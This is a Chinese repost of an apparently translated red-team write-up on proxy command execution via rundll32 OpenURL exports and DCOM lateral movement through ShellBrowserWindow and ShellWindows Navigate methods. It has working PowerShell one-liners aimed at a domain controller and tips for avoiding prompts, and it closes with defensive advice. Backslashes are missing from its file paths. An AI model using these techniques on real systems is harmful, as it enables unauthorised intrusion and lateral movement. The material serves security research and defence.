滥用导出的函数和公开的 DCOM 接口进行直通命令执行和横向移动

admin 2024年7月14日18:43:34评论30 views字数 5269阅读17分33秒阅读模式

本文仅用于技术研究学习,请遵守相关法律,禁止使用本文所提及的相关技术开展非法攻击行为,由于传播、利用本文所提供的信息而造成任何不良后果及损失,与本账号及作者无关。

关于无问社区

无问社区致力于打造一个面向于网络安全从业人员的技术综合服务社区,可免费获取安全技术资料,社区内技术资料知识面覆盖全面,功能丰富。

特色功能:划词解析、调取同类技术资料、基于推荐算法,为每一位用户量身定制专属技术资料。

无问社区-官网:http://wwlib.cn

无问社区站内阅读链接:

http://www.wwlib.cn/index.php/artread/artid/9228.html

背景

上周三,我有一些休息时间,所以我决定在 System32 中四处寻找,看看我是否能找到任何可能感兴趣的东西。我找到了几个DLL文件,它们共享了一个名为OpenURL的有趣导出函数:

滥用导出的函数和公开的 DCOM 接口进行直通命令执行和横向移动

在寻找的同时,我想看看是否可以毫不费力地调用任何东西。果然,url.dll允许使用以下命令执行 HTML 应用程序 (.hta):

rundll32.exe url.dll,OpenURL "localpathtoharmless.hta" 
rundll32.exe url.dll,OpenURLA "localpathtoharmless.hta"

滥用导出的函数和公开的 DCOM 接口进行直通命令执行和横向移动

在跨平台进行了几次功能测试后,我(过早地)在 Twitter 上发布了这个,最初的反馈非常快、有教育意义且令人谦卑。一方面,在发布之前,我应该再进行一些测试程序,以了解引擎盖下实际发生的事情。相反,令人难以置信的是,看到该领域一些最优秀的从业者的即时反应,他们在几分钟内就帮助对此进行了分类。非常感谢 @subTee、@r0wdy_ 和 @Hexacorn 的快速分析!

简而言之,HTA 是由 MSHTA 调用的,这个描述很好地总结了它:

“OpenURL/OpenURLA/FileProtocolHandler 调用 ShellExecute 并将谓词设置为 NULL – 它联系注册表以确定默认处理程序,并且由于它是 NULL,因此它使用默认/打开/第一个可用操作” – @Hexacorn

使用“OPENURL”执行直通命令

如上一节所述,三个 SYSTEM32 DLL 具有 OpenURL 函数的导出:

  • url.dll

  • ieframe.dll

  • shdocvw.dll (ieframe.OpenURL)

@Hexacorn写了一篇关于ieframe.dll、shdocvw.dll和url.dll调用的优秀文章[http://www.hexacorn.com/blog/2018/03/15/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline-part-5/]。使用 .url 文件,我们可以在调用相应的 DLL 时轻松调用直通命令:

URL 文件示例 ('CALC.URL')

[InternetShortcut]
URL=file:///c:windowssystem32calc.exe

命令示例

rundll32.exe ieframe.dll, OpenURL <path to local URL file>
rundll32.exe url.dll, OpenURL <path to local URL file>
rundll32.exe shdocvw.dll, OpenURL <path to local URL file>

结果输出

滥用导出的函数和公开的 DCOM 接口进行直通命令执行和横向移动

IWEBBROWSER2”接口中公开的方法

Shdocvw.dll 和 ieframe.dll 共享许多相同的函数,包括来自 IWebBrowser2 接口的函数,如以下屏幕截图所示:

滥用导出的函数和公开的 DCOM 接口进行直通命令执行和横向移动

这非常有趣,因为我在其他地方看到了这个接口(和其他接口)的类似实现——最明显的是作为 DCOM 应用程序中的公开方法。你可能还记得,2017年是DCOM研究非常有趣的一年,特别是关于@enigma0x3和其他研究人员发现的令人敬畏的横向运动技术。让我们看看我们是否可以借鉴他的研究并找到一些其他方法......

通过“IWEBBROWSER2”公开接口进行 DCOM 横向移动

这些 DCOM 应用程序(可能还有更多)似乎公开了 IWebBrowser2(或类似)接口:

InternetExplorer.应用程序

ShellBrowserWindow

外壳窗口

让我们更详细地访问这些......

*注意:在继续之前,我强烈建议您访问@enigma0x3的博客,了解有关 DCOM 横向移动技术、发射权限和防御注意事项的基本背景信息。

INTERNETEXPLORER.应用程序

TL/DR – 在我的测试用例中,使用此应用程序测试横向移动不起作用,但是,背景知识在准备下一节时很有趣。

在上述博客文章中,@Hexacorn描述并引用了ieframe.dll中先前存在的漏洞 (CVE-2016-3353)。由于指定的标记,.url 文件可以通过 ShellExecuteEx 直接执行,而不会提示安全警告(*注意:漏洞分析的链接在该帖子中)。幸运的是,这个漏洞已经得到修补,但就像Internet Explorer的一般使用一样,我们当然希望在下载/打开有趣的文件(例如.url,.hta,.exe等)时遇到安全警告(又名“健全性检查”)。

在测试期间,IE 保护措施可防止在与iexplore.exe实例交互时通过公开的 DCOM 方法执行远程命令。

SHELLBROWSERWINDOW

在 @enigma0x3 的帖子中,您可能还记得 ShellBrowserWindow 公开了 ShellExecute 方法,该方法有助于通过远程命令执行进行横向移动。有趣的是,我们可以使用通过 IWebBrowser2 接口公开的 Navigate 和 Navigate2 方法来执行远程命令,而不受 Internet Explorer 安全约束。在后续示例中,我们将使用这些 PowerShell 单行行的略有不同的变体:

$([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","<remote machine>"))).Navigate("<pathtothing.extension>")
- and -
$([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","<remote machine>"))).Navigate2("<pathtothing.extension>")

在继续操作之前,请注意以下事项:

  • “C08AFD90-F2A1-11D1-8455-00A0C91F3880”是 ShellBrowserWindow 的类 ID (CLSID)。

  • “9BA05972-F6A8-11CF-A442-00A0C90A8F39”是 ShellWindows 的类 ID (CLSID)

  • 要通过 DCOM 连接到远程计算机,需要特权凭据。这通常意味着攻击者已成功入侵具有适当(“启动”)权限的特权帐户。在这种情况下,我们(攻击者)将使用域管理员帐户从 Windows 10 计算机 [域成员] 访问 Windows 2012 Server [域控制器]。

  • 在我的环境中连接到 Win10 和 Win2016 计算机时,此方法似乎不起作用。

  • 后续示例利用 PowerShell v5。PowerShell v2 上的示例测试也成功。

  • 避免在 Navigate/2 方法中使用命令开关。尝试调用除文件有效负载之外的任何内容都会弹出错误消息。如果受感染的用户帐户登录到目标计算机,则将可见此功能,因此请相应地打包这些攻击有效负载。

  • 避免调用 HTA (.hta) 文件,因为这会弹出安全提示。

  • 避免通过 HTTP/S 使用远程有效负载,因为这会弹出 Internet Explorer 窗口而不获取有效负载。但是,可以使用 UNC 路径。

让我们来演示一下这种能力......

通过可执行文件(.EXE)进行“横向移动”

在域成员上...

$([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","acmedc.acme.int"))).Navigate("c:windowssystem32calc.exe")
$([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","acmedc.acme.int"))).Navigate2("c:windowssystem32calc.exe")

滥用导出的函数和公开的 DCOM 接口进行直通命令执行和横向移动

在域控制器上...

滥用导出的函数和公开的 DCOM 接口进行直通命令执行和横向移动

“横向移动”通过 URL 文件(.URL)

我们的 URL 文件...

[InternetShortcut]
URL=file:///c:windowssystem32calc.exe

在域成员上...

$([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","acmedc.acme.int"))).Navigate("\acme01.acme.intc$calc.url")
$([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","acmedc.acme.int"))).Navigate2("\acme01.acme.intc$calc.url")

滥用导出的函数和公开的 DCOM 接口进行直通命令执行和横向移动

在域控制器上...

滥用导出的函数和公开的 DCOM 接口进行直通命令执行和横向移动

在 Procmon 中,我们可以在堆栈上看到一些熟悉的模块和函数:

滥用导出的函数和公开的 DCOM 接口进行直通命令执行和横向移动

外壳窗口

与 ShellBrowserWindow 类似,ShellWindows 也公开 ShellExecute 方法。但是,我们将对 Navigate/2 进行快速演示,以执行类似的远程命令执行。我们将使用以下 PowerShell 命令字符串作为示例:

$([System.Activator]::CreateInstance([Type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","acmedc.acme.int"))).Navigate("c:windowssystem32calc.exe")
- and -
$([System.Activator]::CreateInstance([Type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","acmedc.acme.int"))).Navigate2("c:windowssystem32calc.exe")

运行这些命令后,我们得到以下输出:

滥用导出的函数和公开的 DCOM 接口进行直通命令执行和横向移动

哇!这很有趣。这似乎是更多测试的候选者,目前可能不建议用于操作:-)。无论如何,这仍然很整洁。

这涵盖了我们对“IWebBrowser2”导航/2 DCOM 横向移动方法的简要概述。这些特殊方法可能不像其他横向移动技术那样“灵活”,但它们可能仍然对红队和攻击者有用。与往常一样,捍卫者应该密切关注这些方法。这里有一些提示......

防御方法

对于直通命令执行:

  • 其中许多“直通”技术都试图规避端点安全和/或应用程序白名单 (AWL) 解决方案。实施强有力的政策。请考虑按@Oddvarmoe使用这些 AppLocker 强化规则。

  • 通过 HTA、VBS 或 JS 的 COM 脚本攻击非常常见且危险。请考虑更改这些应用程序的默认处理程序(例如 notepad.exe)。Adobe 的本指南可能有助于 GPO 部署。

  • 在任何企业网络中,事件日志分析对于正确的事件响应都至关重要。将事件转发到 SIEM 进行集中监控。

对于横向移动:

  • 一般来说,防御者应该捕获@enigma0x3提供的 IOC,并考虑 CyberReason 的 Philip Tsukerman 在这篇非常全面的博客文章中提供的建议。

  • 使用这些 DCOM 方法将需要对远程计算机的特权访问。保护特权域帐户。避免在本地计算机帐户之间重复使用密码。

  • 确保纵深防御控制、基于主机的安全产品和主机监控到位,以检测/阻止可疑活动。

  • 监视环境中 PowerShell 的可疑使用情况。无论何时何地,只要有可能,都强制实施受约束的语言模式(*注意:对于特权帐户来说,这可能很困难)。

记一次Vcenter 后渗透利用

【蜜罐识别】HW 别在踩蜜罐了!!!

用C编写和编译Shellcode

实战 | 记一次SRC信息泄漏利用

无问社区 | 特色功能上新...

加入交流群

滥用导出的函数和公开的 DCOM 接口进行直通命令执行和横向移动

滥用导出的函数和公开的 DCOM 接口进行直通命令执行和横向移动

点“阅读原文”,访问无问社区

原文始发于微信公众号(白帽子社区团队):滥用导出的函数和公开的 DCOM 接口进行直通命令执行和横向移动

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月14日18:43:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   滥用导出的函数和公开的 DCOM 接口进行直通命令执行和横向移动https://cn-sec.com/archives/2953121.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息